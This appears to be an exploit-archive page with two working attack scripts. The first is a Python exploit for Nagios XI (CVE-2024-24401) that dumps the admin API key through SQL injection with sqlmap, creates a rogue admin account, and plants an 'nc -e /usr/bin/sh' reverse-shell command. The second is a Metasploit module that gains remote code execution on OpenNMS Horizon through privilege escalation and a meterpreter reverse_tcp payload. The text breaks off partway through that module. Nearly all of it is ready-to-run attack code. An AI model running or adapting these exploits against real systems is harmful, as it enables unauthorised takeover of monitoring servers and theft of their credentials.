<pre><code># Exploit Title: NAGIOS XI SQLI<br /># Google Dork: [if applicable]<br /># Date: 02/26/2024<br /># Exploit Author: Jarod Jaslow (MAWK) https://www.linkedin.com/in/jarod-jaslow-codename-mawk-265144201/<br /># Vendor Homepage: https://www.nagios.com/changelog/#nagios-xi<br /># Software Link: https://github.com/MAWK0235/CVE-2024-24401<br /># Version: Nagios XI Version 2024R1.01<br /># Tested on: Nagios XI Version 2024R1.01 LINUX<br /># CVE : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-24401<br />#<br /><br />import requests<br />import subprocess<br />import argparse<br />import re<br />import urllib3<br />import os<br />import random<br />import string<br />from colorama import Fore, Style<br /><br />urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<br /><br /><br /><br />def serviceLogin(user,password):<br /> r = requests.post(f'http://{IP}/nagiosxi/api/v1/authenticate?pretty=1',data={'username':user,'password':password,"valid_min":"5"},verify=False) <br /> print(f"{Fore.MAGENTA}[+] Authenticating with captured credtials to API....")<br /> match = re.search(r'auth_token": "(.*)"',r.text)<br /> if match:<br /> token = match.group(1)<br /> print(f'{Fore.MAGENTA}[+] Token: ' + token)<br /> r = requests.get(f'http://{IP}/nagiosxi/login.php?token={token}', verify=False)<br /> cookie = r.headers['Set-Cookie']<br /> cookie = cookie.split(',')[0]<br /> match = re.search(r'nagiosxi=(.*);', cookie)<br /> cookie = match.group(1)<br /> print(f"{Fore.MAGENTA}[+] Auth cookie is: " + cookie)<br /> return cookie<br /> else:<br /> print(f'{Fore.RED}[-] Authentication Failed..{Style.RESET_ALL}')<br /> exit()<br /><br />def sqlmap(IP,username,password):<br /> <br /> print(f'{Fore.MAGENTA}[+] Starting SQLMAP...')<br /> session = requests.session()<br /> s = session.get(f'http://{IP}/nagiosxi/index.php', verify=False)<br /> match = re.search(r'var nsp_str = \"(.*?)\"', s.text)<br /> nsp = match.group(1)<br /> print(f"{Fore.MAGENTA}[+] NSP captured: " + nsp)<br /> data = {"nsp": nsp, "page": "auth", "debug": '', "pageopt": "login", "username": username, "password": password, "loginButton": ''}<br /> s = session.post(f'http://{IP}/nagiosxi/login.php', data=data)<br /> print(f"{Fore.MAGENTA}[+] Authenticated as User..")<br /> print(f"{Fore.MAGENTA}[+] Accepting license Agreement...")<br /> s = session.get(f'http://{IP}/nagiosxi/login.php?showlicense', verify=False)<br /> match = re.search(r'var nsp_str = \"(.*?)\"', s.text)<br /> nsp = match.group(1)<br /> data = {"page": "/nagiosxi/login.php", "pageopt": "agreelicense", "nsp": nsp, "agree_license": "on"}<br /> session.post(f"http://{IP}/nagiosxi/login.php?showlicense", data=data)<br /> print(f"{Fore.MAGENTA}[+] Performing mandatory password change ARGH")<br /> newPass = "mawk"<br /> data = {"page": "/nagiosxi/login.php", "pageopt": "changepass", "nsp": nsp,"current_password": password, "password1": newPass, "password2": newPass, "reporttimesubmitbutton": ''}<br /> session.post(f"http://{IP}/nagiosxi/login.php?forcepasswordchange", data=data)<br /> s= session.get(f'http://{IP}/nagiosxi/')<br /> match = re.search(r'var nsp_str = \"(.*?)\"', s.text)<br /> nsp = match.group(1)<br /> cookie = s.cookies.get('nagiosxi')<br /> sqlmap_command = f'sqlmap --flush-session -u "http://{IP}/nagiosxi//config/monitoringwizard.php/1*?update=1&nextstep=2&nsp={nsp}&wizard=mysqlserver" --cookie="nagiosxi={cookie}" --dump -D nagiosxi -T xi_users --drop-set-cookie --technique=ET --dbms=MySQL -p id --risk=3 --level=5 --threads=10 --batch'<br /> #print(sqlmap_command)<br /> sqlmap_command_output = subprocess.Popen(sqlmap_command,shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True )<br /> try:<br /> for line in iter(sqlmap_command_output.stdout.readline, ''):<br /> if "| Nagios Administrator |" in line:<br /> match = re.search(r"Nagios Administrator \| (.*?) \|", line)<br /> if match:<br /> adminKey= match.group(1)<br /> print(f"{Fore.MAGENTA}[+] Admin Key recovered: " + adminKey)<br /> return adminKey<br /> else:<br /> print(f"{Fore.RED}[-] Could not pull Admin Key :(....{Style.RESET_ALL}")<br /> exit()<br /> break<br /> print("[-] SQLMAP capture FAILED..")<br /> sqlmap_command_output.terminate()<br /><br /> except KeyboardInterrupt:<br /> print(f"{Fore.RED}[-] SQLMAP interrupted. Cleaning up...{Style.RESET_ALL}")<br /> sqlmap_command_output.terminate()<br /> sqlmap_command_output.communicate()<br /> exit()<br /><br />def createAdmin(IP,adminKey):<br /> characters = string.ascii_letters + string.digits<br /> random_username = ''.join(random.choice(characters) for i in range(5))<br /> random_password = ''.join(random.choice(characters) for i in range(5))<br /><br /> data = {"username": random_username, "password": random_password, "name": random_username, "email": f"{random_username}@mail.com", "auth_level": "admin"}<br /> r = requests.post(f'http://{IP}/nagiosxi/api/v1/system/user?apikey={adminKey}&pretty=1', data=data, verify=False)<br /> if "success" in r.text:<br /> print(f'{Fore.MAGENTA}[+] Admin account created...')<br /> return random_username, random_password<br /> else:<br /> print(f'{Fore.RED}[-] Account Creation Failed!!! :(...{Style.RESET_ALL}')<br /> print(r.text)<br /> exit()<br /><br />def start_HTTP_server():<br /> subprocess.Popen(["python", "-m", "http.server", "8000"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)<br /><br />def adminExploit(adminUsername, adminPassword, IP, LHOST,LPORT):<br /> print(f"{Fore.MAGENTA}[+] Conducting mandatory password change...")<br /> session = requests.session()<br /> s = session.get(f'http://{IP}/nagiosxi/index.php', verify=False)<br /> match = re.search(r'var nsp_str = \"(.*?)\"', s.text)<br /> nsp = match.group(1)<br /> print(f"{Fore.MAGENTA}[+] NSP captured: " + nsp)<br /> data = {"nsp": nsp, "page": "auth", "debug": '', "pageopt": "login", "username": adminUsername, "password": adminPassword, "loginButton": ''}<br /> s = session.post(f'http://{IP}/nagiosxi/login.php', data=data)<br /> print(f"{Fore.MAGENTA}[+] Authenticated as admin..")<br /> print(f"{Fore.MAGENTA}[+] Accepting license Agreement...")<br /> s = session.get(f'http://{IP}/nagiosxi/login.php?showlicense', verify=False)<br /> match = re.search(r'var nsp_str = \"(.*?)\"', s.text)<br /> nsp = match.group(1)<br /> data = {"page": "/nagiosxi/login.php", "pageopt": "agreelicense", "nsp": nsp, "agree_license": "on"}<br /> session.post(f"http://{IP}/nagiosxi/login.php?showlicense", data=data)<br /> print(f"{Fore.MAGENTA}[+] Performing mandatory password change ARGH")<br /> newAdminPass = adminUsername + adminPassword<br /> data = {"page": "/nagiosxi/login.php", "pageopt": "changepass","current_password": adminPassword, "nsp": nsp, "password1": newAdminPass, "password2": newAdminPass, "reporttimesubmitbutton": ''}<br /> session.post(f"http://{IP}/nagiosxi/login.php?forcepasswordchange", data=data)<br /> print(f"{Fore.MAGENTA}[+] Creating new command...")<br /> data = {"tfName": adminUsername, "tfCommand": f"nc -e /usr/bin/sh {LHOST} {LPORT}", "selCommandType": "1", "chbActive": "1", "cmd": "submit", "mode": "insert", "hidId": "0", "hidName": '', "hidServiceDescription": '', "hostAddress": "127.0.0.1", "exactType": "command", "type": "command", "genericType": "command"}<br /> session.post(f'http://{IP}/nagiosxi/includes/components/ccm/index.php?type=command&page=1', data=data)<br /> data = {"cmd": '', "continue": ''}<br /> start_HTTP_server()<br /> print(f"{Fore.MAGENTA}[+] Created command: " + adminUsername)<br /> session.post(f'http://{IP}/nagiosxi/includes/components/nagioscorecfg/applyconfig.php?cmd=confirm', data=data)<br /> data = {"search": adminUsername}<br /> s = session.post(f'http://{IP}/nagiosxi/includes/components/ccm/index.php?cmd=view&type=command&page=1', data=data)<br /> match = re.search(r"javascript:actionPic\('deactivate','(.*?)','", s.text)<br /> if match:<br /> commandCID = match.group(1)<br /> print(f"{Fore.MAGENTA}[+] Captured Command CID: " + commandCID)<br /> s = session.get(f"http://{IP}/nagiosxi/includes/components/ccm/?cmd=view&type=service")<br /> match = re.search(r'var nsp_str = \"(.*?)\"', s.text)<br /> if match:<br /> nsp = match.group(1)<br /> s = session.get(f"http://{IP}/nagiosxi/includes/components/ccm/command_test.php?cmd=test&mode=test&cid={commandCID}&nsp={nsp}")<br /> os.system("kill -9 $(lsof -t -i:8000)")<br /> print(f"{Fore.RED}[+] CHECK UR LISTENER")<br /> else:<br /> print(f"{Fore.RED}[-] ERROR")<br /> else:<br /> print(f"{Fore.RED}[-] Failed to capture Command CID..{Style.RESET_ALL}")<br /><br /><br /><br /><br />if __name__ == '__main__':<br /> ascii_art = f"""{Fore.LIGHTRED_EX}<br />███╗ ███╗ █████╗ ██╗ ██╗██╗ ██╗ ███████╗ ██████╗██████╗ ██╗██████╗ ████████╗███████╗<br />████╗ ████║██╔══██╗██║ ██║██║ ██╔╝ ██╔════╝██╔════╝██╔══██╗██║██╔══██╗╚══██╔══╝██╔════╝<br />██╔████╔██║███████║██║ █╗ ██║█████╔╝ ███████╗██║ ██████╔╝██║██████╔╝ ██║ ███████╗<br />██║╚██╔╝██║██╔══██║██║███╗██║██╔═██╗ ╚════██║██║ ██╔══██╗██║██╔═══╝ ██║ ╚════██║<br />██║ ╚═╝ ██║██║ ██║╚███╔███╔╝██║ ██╗ ███████║╚██████╗██║ ██║██║██║ ██║ ███████║<br />╚═╝ ╚═╝╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝ ╚══════╝<br /> {Style.RESET_ALL} <br /> """<br /> print(ascii_art)<br /> parser = argparse.ArgumentParser(description="AutoPwn Script for Bizness HTB machine", usage= "sudo Nagios.py <Target IP> <LHOST> <LPORT>")<br /> parser.add_argument('IP' ,help= "Target IP ")<br /> parser.add_argument('LHOST',help= "Local host")<br /> parser.add_argument('LPORT' ,help= "Listening Port")<br /><br /> args = parser.parse_args()<br /> min_required_args = 3<br /> if len(vars(args)) != min_required_args:<br /> parser.print_usage()<br /> exit()<br /><br /> adminUsername, adminPassword = createAdmin(args.IP, sqlmap(args.IP,input(f"{Fore.MAGENTA}[+] Please insert a non-administrative username: "),input(f"{Fore.MAGENTA}[+] Please insert the password: ")))<br /> print(f"{Fore.MAGENTA}[+] Admin Username=" + adminUsername)<br /> print(f"{Fore.MAGENTA}[+] Admin Password=" + adminPassword)<br /> adminExploit(adminUsername, adminPassword, args.IP,args.LHOST,args.LPORT)<br /> <br /><br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'OpenNMS Horizon Authenticated RCE',<br /> 'Description' => %q{<br /> This module exploits built-in functionality in OpenNMS<br /> Horizon in order to execute arbitrary commands as the<br /> opennms user. For versions 32.0.2 and higher, this<br /> module requires valid credentials for a user with<br /> ROLE_FILESYSTEM_EDITOR privileges and either<br /> ROLE_ADMIN or ROLE_REST.<br /><br /> For versions 32.0.1 and lower, credentials are<br /> required for a user with ROLE_FILESYSTEM_EDITOR,<br /> ROLE_REST, and/or ROLE_ADMIN privileges. In that case,<br /> the module will automatically escalate privileges via<br /> CVE-2023-40315 or CVE-2023-0872 if necessary.<br /><br /> This module has been successfully tested against OpenNMS<br /> version 31.0.7<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'Erik Wynter' # @wyntererik - Discovery and Metasploit<br /> ],<br /> 'References' => [<br /> ['CVE', '2023-40315'], # CVE for privilege escalation via ROLE_FILESYSTEM_EDITOR in OpenNMS Horizon before 32.0.2<br /> ['CVE', '2023-0872'], # CVE for privilege escalation via ROLE_REST in OpenNMS Horizon before 32.0.2<br /> ],<br /> 'Platform' => 'linux',<br /> 'Arch' => 'ARCH_CMD',<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',<br /> 'RPORT' => 8980,<br /> 'SRVPORT' => 8080,<br /> 'FETCH_COMMAND' => 'CURL',<br /> 'FETCH_FILENAME' => Rex::Text.rand_text_alpha(2..4),<br /> 'FETCH_WRITABLE_DIR' => '/tmp',<br /> 'FETCH_SRVPORT' => 8081,<br /> 'WfsDelay' => 15 # It takes a while for the payload to execute<br /> },<br /> 'Targets' => [ [ 'Linux', {} ] ],<br /> 'DefaultTarget' => 0,<br /> 'Privileged' => true,<br /> 'DisclosureDate' => '2023-07-01',<br /> 'Notes' => {<br /> 'Stability' => [ CRASH_SAFE ],<br /> 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],<br /> 'Reliability' => [ REPEATABLE_SESSION ]<br /> }<br /> )<br /> )<br /><br /> register_options [<br /> OptString.new('TARGETURI', [true, 'The base path to OpenNMS', '/opennms/']),<br /> OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),<br /> OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin'])<br /> ]<br /><br /> register_advanced_options [<br /> OptInt.new('PRIVESC_SAVE_DELAY', [true, 'The time in seconds to wait for privesc changes to go into effect.', 3])<br /> ]<br /> end<br /><br /> def username<br /> datastore['USERNAME']<br /> end<br /><br /> def password<br /> datastore['PASSWORD']<br /> end<br /><br /> def privesc_save_delay<br /> datastore['PRIVESC_SAVE_DELAY']<br /> end<br /><br /> def notification_commands_file<br /> 'notificationCommands.xml'<br /> end<br /><br /> def destination_paths_file<br /> 'destinationPaths.xml'<br /> end<br /><br /> def notifications_file<br /> 'notifications.xml'<br /> end<br /><br /> def users_file<br /> 'users.xml'<br /> end<br /><br /> def check<br /> # Try to authenticate<br /> success, msg_or_check_code = opennms_login('check')<br /> return msg_or_check_code unless success<br /><br /> vprint_status(msg_or_check_code)<br /><br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'index.jsp'),<br /> 'keep_cookies' => true<br /> })<br /><br /> unless res<br /> return CheckCode::Unknown('Connection failed.')<br /> end<br /><br /> # If we are authenticating as a user without dashboard privileges, the response code will be 403, so we can't use this<br /> # Instead, we should simply check if the HTLM body includes the expected title and version information<br /> unless res.get_html_document.xpath('//title').text.include?('OpenNMS Web Console')<br /> return CheckCode::Detected('Failed to access the OpenNMS Web Console after authentication.')<br /> end<br /><br /> # Based on the version history (https://www.opennms.com/version-history/) all OpenNMS Horizon versions follow the \d+\.\d+\.\d+ pattern<br /> version = res.body.scan(/- Version: (\d+\.\d+\.\d+)$/)&.flatten&.first<br /><br /> if version.blank?<br /> return CheckCode::Detected('Failed to obtain a valid OpenNMS version.')<br /> end<br /><br /> begin<br /> rex_version = Rex::Version.new(version)<br /> rescue ArgumentError => e<br /> return CheckCode::Unknown("Failed to obtain a valid OpenNMS version: #{e}")<br /> end<br /><br /> if rex_version < Rex::Version.new('32.0.2')<br /> print_status("The target is OpenNMS version #{version} and is likely vulnerable to CVE-2023-40315 and CVE-2023-0872.")<br /> else<br /> print_status("The target is OpenNMS version #{version}.")<br /> end<br /><br /> # Check if we can access the user configuration file. There are two ways to do this:<br /> # - Via the /rest/users endpoint. This is possible only for users with ROLE_ADMIN and ROLE_REST privileges.<br /> # - Via /rest/filesystem/contents?f=users.xml. This is possible only for users with ROLE_FILESYSTEM_EDITOR privileges.<br /> # If neither of these work for us, RCE won't be possible.<br /> success, xml_doc_or_check_code = grab_and_parse_xml_config_file(users_file, 'users', 'user', 'check', filesystem: false) # try the REST endpoint first<br /> unless success<br /> success, xml_doc_or_check_code = grab_and_parse_xml_config_file(users_file, 'users', 'user', 'check') # try the filesystem endpoint next<br /> return xml_doc_or_check_code unless success # in this case xml_doc_or_check_code is a CheckCode so we can return it directly<br /> end<br /><br /> # Extract the privileges of the current user<br /> success, privs_or_check_code = grab_user_privs(xml_doc_or_check_code, 'check')<br /> return privs_or_check_code unless success<br /><br /> # Successful exploitation requires the user to have FILESYSTEM_EDITOR privileges as well as either REST or ADMIN privileges<br /> if privs_or_check_code.include?('ROLE_FILESYSTEM_EDITOR')<br /> if privs_or_check_code.include?('ROLE_REST') || privs_or_check_code.include?('ROLE_ADMIN')<br /> # We don't need to escalate privileges here<br /> @highest_priv = 'GOD'<br /> return CheckCode::Appears("User #{username} has the required privileges for exploitation to work without privilege escalation.")<br /> end<br /><br /> @highest_priv = 'ROLE_FILESYSTEM_EDITOR'<br /> elsif privs_or_check_code.include?('ROLE_ADMIN')<br /> @highest_priv = 'ROLE_ADMIN'<br /> return CheckCode::Appears("User #{username} has #{@highest_priv} privileges. Exploitation is likely possible via privilege escalation to ROLE_FILESYSTEM_EDITOR.")<br /> elsif privs_or_check_code.include?('ROLE_REST')<br /> @highest_priv = 'ROLE_REST'<br /> else<br /> return CheckCode::Safe("User #{username} does not have the required privileges for exploitation to work.")<br /> end<br /><br /> # If we are here, we have ROLE_FILESYSTEM_EDITOR privileges or ROLE_REST privileges, but not both and not ROLE_ADMIN<br /> # This means that privilege escalation is required, which can work only if the OpenNMS version is 32.0.1 or lower<br /> if rex_version >= Rex::Version.new('32.0.2')<br /> return CheckCode::Detected("Exploitation requires privilege escalation, which is not possible for OpenNMS version #{version}.")<br /> end<br /><br /> cve = if @highest_priv == 'ROLE_FILESYSTEM_EDITOR'<br /> 'CVE-2023-40315'<br /> else<br /> 'CVE-2023-0872'<br /> end<br /><br /> CheckCode::Appears("User #{username} has #{@highest_priv} privileges. Exploitation is likely possible via #{cve}.")<br /> end<br /><br /> # This method is use to handle failures based on the stage of the exploit<br /> #<br /> # @param mode [String] The mode to use: check, exploit or cleanup<br /> # @param message [String] The message to display to the user<br /> # @param status [String] The status to use: disconnected, unexpected_reply or no_access<br /> # @return [Array] An array containing a boolean and a CheckCode or message<br /> def deal_with_failure_by_mode(mode, message, status)<br /> return [false, "#{message}. Manual cleanup is required."] if mode == 'cleanup'<br /><br /> case status<br /> when 'disconnected'<br /> return [false, CheckCode::Unknown(message)] if mode == 'check'<br /><br /> fail_with(Failure::Disconnected, message)<br /> when 'unexpected_reply'<br /> return [false, CheckCode::Unknown(message)] if mode == 'check'<br /><br /> fail_with(Failure::UnexpectedReply, message)<br /> when 'no_access'<br /> return [false, CheckCode::Safe(message)] if mode == 'check'<br /><br /> fail_with(Failure::NoAccess, message)<br /> end<br /> end<br /><br /> # This method is used to perform a login attempt<br /> #<br /> # @param mode [String] The mode to use: check, exploit or cleanup<br /> # @param perform_invalid_login [Boolean] Whether to perform a login attempt with random credentials or not<br /> # @return [Array] An array containing a boolean and a CheckCode or message<br /> def opennms_login(mode, perform_invalid_login: false)<br /> if perform_invalid_login<br /> user = Rex::Text.rand_text_alpha(8..12)<br /> pass = Rex::Text.rand_text_alpha(8..12)<br /> keep_cookies = false<br /> else<br /> user = username<br /> pass = password<br /> keep_cookies = true<br /><br /> res1 = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'login.jsp'),<br /> 'keep_cookies' => keep_cookies<br /> })<br /><br /> unless res1<br /> return deal_with_failure_by_mode(mode, 'Connection failed.', 'disconnected')<br /> end<br /><br /> unless res1.code == 200 && res1.get_html_document.xpath('//title').text.include?('OpenNMS Web Console')<br /> msg = if mode == 'check'<br /> 'Target is not an OpenNMS application.'<br /> else<br /> 'Received unexpected response while attempting to access the OpenNMS Web Console.'<br /> end<br /><br /> return deal_with_failure_by_mode(mode, msg, 'unexpected_reply')<br /> end<br /> end<br /><br /> # Try to authenticate<br /> res2 = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'),<br /> 'keep_cookies' => keep_cookies,<br /> 'vars_post' => {<br /> 'j_username' => user,<br /> 'j_password' => pass<br /> }<br /> })<br /><br /> unless res2<br /> if perform_invalid_login<br /> return [false, "Connection failed while attempting to trigger the notification. The payload likely wasn't executed."]<br /> else<br /> return deal_with_failure_by_mode(mode, 'Connection failed while attempting to authenticate.', 'disconnected')<br /> end<br /> end<br /><br /> unless res2.redirect? && res2.redirection.to_s.end_with?('/index.jsp')<br /> if perform_invalid_login<br /> return [true, 'Received expected response while triggering the payload. Please be patient, it may take a few seconds for the payload to execute.']<br /> else<br /> message = if mode == 'check'<br /> 'Authentication failed. Please check your credentials.'<br /> else<br /> 'Received unexpected response while attempting to authenticate.'<br /> end<br /><br /> return deal_with_failure_by_mode(mode, message, 'unexpected_reply')<br /> end<br /> end<br /><br /> # Authentication was successful<br /> if perform_invalid_login<br /> return [false, "Received unexpected response while attempting to trigger the notification. The payload likely wasn't executed."]<br /> end<br /><br /> [true, 'Successfully authenticated']<br /> end<br /><br /> # This method is used to obtain and parse an XML configuration file from the target via the filesystem endpoint<br /> #<br /> # @param file_name [String] The name of the file to obtain<br /> # @param root_element [String] The name of the root element in the XML file<br /> # @param element [String] The name of the element to obtain from the XML file<br /> # @param mode [String] The mode to use: check, exploit or cleanup. This is used to determine how to proceed upon failure<br /> # @param filesystem [Boolean] Whether to use the filesystem endpoint or not. If not, the file_name will be used as the REST endpoint<br /> # @return [Array] An array containing a boolean and either a CheckCode, a message or a Nokogiri::XML::Document<br /> def grab_and_parse_xml_config_file(file_name, root_element, element, mode, filesystem: true)<br /> request_hash = {<br /> 'method' => 'GET',<br /> 'keep_cookies' => true<br /> }<br /><br /> if filesystem<br /> request_hash['uri'] = normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents')<br /> request_hash['vars_get'] = { 'f' => file_name }<br /> else<br /> request_hash['uri'] = normalize_uri(target_uri.path, 'rest', file_name)<br /> end<br /><br /> # Try to obtain the file<br /> res = send_request_cgi(request_hash)<br /><br /> unless res<br /> return deal_with_failure_by_mode(mode, "Connection failed while attempting to obtain the current #{file_name} file.", 'disconnected')<br /> end<br /><br /> # when using the filesystem endpoint to obtain the users.xml file, the root element is userinfo, which contains the users element<br /> if file_name == users_file<br /> if filesystem<br /> filesystem_root_element = 'userinfo'<br /> else<br /> filesystem_root_element = 'users'<br /> end<br /> else<br /> filesystem_root_element = root_element<br /> end<br /><br /> unless res.code == 200 && res.body.strip.end_with?("</#{filesystem_root_element}>")<br /> return deal_with_failure_by_mode(mode, "Unexpected response received while attempting to obtain the #{file_name} file. User #{username} my lack the required privileges.", 'unexpected_reply')<br /> end<br /><br /> # Parse the file<br /> begin<br /> doc = Nokogiri::XML(res.body)<br /> elements = doc&.at_css(root_element)&.css(element)&.map { |e| e&.text }<br /> rescue Nokogiri::XML::SyntaxError => e<br /> return deal_with_failure_by_mode(mode, "Failed to parse the #{file_name} file: #{e}", 'unexpected_reply')<br /> end<br /><br /> if elements.blank?<br /> return deal_with_failure_by_mode(mode, "No #{element} elements were found in the #{file_name} file.", 'unexpected_reply')<br /> end<br /><br /> [true, doc]<br /> end<br /><br /> # This method is used to obtain the privileges of a user from the users.xml file<br /> #<br /> # @param xml_doc [Nokogiri::XML::Document] The XML document containing the users<br /> # @param mode [String] The mode to use: check, exploit or cleanup<br /> # @return [Array] An array containing a boolean and a CheckCode, message, or an array of privileges<br /> def grab_user_privs(xml_doc, mode)<br /> privileges = []<br /> begin<br /> user = xml_doc&.at_css('users')&.css('user')&.find { |u| u.at_css('user-id')&.text == username }<br /> if user.blank?<br /> return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file. User #{username} was not found.", 'unexpected_reply')<br /> end<br /><br /> privileges = user.css('role')&.map { |r| r&.text }<br /> if privileges.blank?<br /> return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file. No roles were found for user #{username}.", 'unexpected_reply')<br /> end<br /> rescue Nokogiri::XML::SyntaxError => e<br /> return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file: #{e}", 'unexpected_reply')<br /> end<br /><br /> vprint_status("User #{username} has the following privileges: #{privileges.join(' ')}")<br /><br /> [true, privileges]<br /> end<br /><br /> # This method is used to escalate or deescalate privileges<br /> #<br /> # @param deescalate [Boolean] Whether to escalate or deescalate privileges<br /> # @return [Array] An array containing a boolean and a CheckCode or message<br /> def escalate_or_deescalate_privs(deescalate: false)<br /> # Establish some variables based on if we need to escalate or deescalate privileges<br /> if deescalate<br /> use_filesystem = @role_to_add != 'ROLE_FILESYSTEM_EDITOR'<br /> mode = 'cleanup'<br /> else<br /> use_filesystem = @highest_priv == 'ROLE_FILESYSTEM_EDITOR'<br /> mode = 'exploit'<br /> end<br /><br /> # grab and parse the users.xml file<br /> success, xml_doc_or_msg = grab_and_parse_xml_config_file(users_file, 'users', 'user', mode, filesystem: use_filesystem)<br /> return [false, xml_doc_or_msg] unless success<br /><br /> # Get the privileges of the current user as a sanity check<br /> success, privileges_or_msg = grab_user_privs(xml_doc_or_msg, mode)<br /> return [false, privileges_or_msg] unless success<br /><br /> # if we are here to remove privileges, check if we actually have the privileges we want to remove. return otherwise<br /> if deescalate && privileges_or_msg.exclude?(@role_to_add)<br /> return [false, 'Did not find the required privileges to deescalate. Manual cleanup may be required.']<br /> end<br /><br /> # if we need to escalate privileges, check if we already have the privileges we want to escalate to. return otherwise<br /> unless deescalate<br /> if use_filesystem<br /> if privileges_or_msg.include?('ROLE_ADMIN') || privileges_or_msg.include?('ROLE_REST')<br /> # We don't need to escalate privileges here<br /> @highest_priv = 'GOD'<br /> return [true]<br /> end<br /><br /> @role_to_add = 'ROLE_ADMIN'<br /> else<br /> if privileges_or_msg.include?('ROLE_FILESYSTEM_EDITOR')<br /> # We don't need to escalate privileges here<br /> @highest_priv = 'GOD'<br /> return [true]<br /> end<br /><br /> @role_to_add = 'ROLE_FILESYSTEM_EDITOR'<br /> end<br /> end<br /><br /> # Add or remove the required role to the current user<br /> if use_filesystem<br /> # If we have ROLE_FILESYSTEM_EDITOR privileges, we can use the filesystem endpoint to add or remove the required role<br /> begin<br /> user = xml_doc_or_msg.at_css('users').css('user').find { |u| u.at_css('user-id')&.text == username }<br /> if user.blank?<br /> message = "Did not find the current user in the users.xml file while attempting to #{deescalate ? 'deescalate' : 'escalate'} privileges."<br /> return deal_with_failure_by_mode(mode, message, 'unexpected_reply')<br /> end<br /><br /> if deescalate<br /> role = user.css('role').find { |r| r.text == @role_to_add }<br /> if role.blank?<br /> return [false, 'Failed to parse the users.xml file while attempting to deescalate privileges. Manual cleanup is required.']<br /> end<br /><br /> role.remove<br /> else<br /> user.add_child(xml_doc_or_msg.create_element('role', @role_to_add))<br /> end<br /> rescue Nokogiri::XML::SyntaxError => e<br /> return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file while attempting to #{deescalate ? 'deescalate' : 'escalate'} privileges: #{e}", 'unexpected_reply')<br /> end<br /><br /> # upload the edited users.xml file via the filesystem endpoint<br /> success, message = upload_xml_config_file(users_file, generate_post_data(users_file, xml_doc_or_msg.to_xml(indent: 3)), mode)<br /> unless deescalate<br /> # If we have escalated privileges via the filesystem, we need to wait a few seconds for the changes to be saved<br /> print_status("Waiting #{privesc_save_delay} seconds for the changes to be saved...")<br /> sleep(privesc_save_delay)<br /> end<br /> return [false, message] unless success # this is only used for cleanup. for exploit this cannot happen<br /> else<br /> # If we do not have FILESYSTEM_EDITOR privileges, we can use the REST endpoint to do this<br /> # /users/{username}/roles/{rolename} with PUT to add a role and DELETE to remove a role<br /> res = send_request_cgi({<br /> 'method' => deescalate ? 'DELETE' : 'PUT',<br /> 'uri' => normalize_uri(target_uri.path, 'rest', 'users', username, 'roles', @role_to_add),<br /> 'keep_cookies' => true<br /> }, 2) # for some reason the server does not send a response when this request is performed via Ruby, but it does tend to work. When sending the same request via Burp suite, the server did respond.<br /><br /> # 204 = no content, 304 = not modified. 204 indicates success, 304 indicates that the role was already added/removed<br /> if res && ![204, 304].include?(res.code)<br /> return deal_with_failure_by_mode(mode, "Received unexpected reply while attempting to #{deescalate ? 'deescalate' : 'escalate'} privileges", 'unexpected_reply')<br /> end<br /> end<br /><br /> # Get the users.xml file again to make sure our changes were saved<br /> success, xml_doc_or_msg = grab_and_parse_xml_config_file(users_file, 'users', 'user', mode, filesystem: use_filesystem)<br /> return [false, xml_doc_or_msg] unless success # this is only used for cleanup. for exploit this cannot happen<br /><br /> # Get the privileges of the current user again to make sure our changes were saved<br /> success, privs_or_msg = grab_user_privs(xml_doc_or_msg, mode)<br /> return [false, privs_or_msg] unless success<br /><br /> # Check if our changes were saved<br /> if deescalate<br /> if privs_or_msg.include?(@role_to_add)<br /> return [false, 'Failed to deescalate privileges. Manual cleanup is required.']<br /> end<br /><br /> return [true, "Successfully deescalated privileges by removing #{@role_to_add}"]<br /> end<br /><br /> # If we are here, we are escalating privileges<br /> unless privs_or_msg.include?(@role_to_add)<br /> fail_with(Failure::UnexpectedReply, 'Failed to escalate privileges')<br /> end<br /><br /> @highest_priv = 'GOD'<br /> [true, "Successfully escalated privileges by adding #{@role_to_add}"]<br /> end<br /><br /> # This method is used to generate the XML document that will be used to add a notification command<br /> #<br /> # @param file_name [String] The name of the file to upload<br /> # @param xml_doc [Nokogiri::XML::Document] The XML document to upload<br /> # @return [Rex::MIME::Message] The post data<br /> def generate_post_data(file_name, data_to_write)<br /> post_data = Rex::MIME::Message.new<br /> post_data.add_part(data_to_write, 'text/xml', nil, "form-data; name=\"upload\"; filename=\"#{file_name}\"")<br /><br /> post_data<br /> end<br /><br /> # This method is used to upload an XML configuration file to the target<br /> #<br /> # @param file_name [String] The name of the file to upload<br /> # @param post_data [Rex::MIME::Message] The post data to upload<br /> # @param mode [String] The mode to use: exploit or cleanup<br /> # @return [Array] An array containing a boolean and an optional message<br /> def upload_xml_config_file(file_name, post_data, mode = 'exploit')<br /> # upload the edited notificationCommands.xml file<br /> res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'rest', 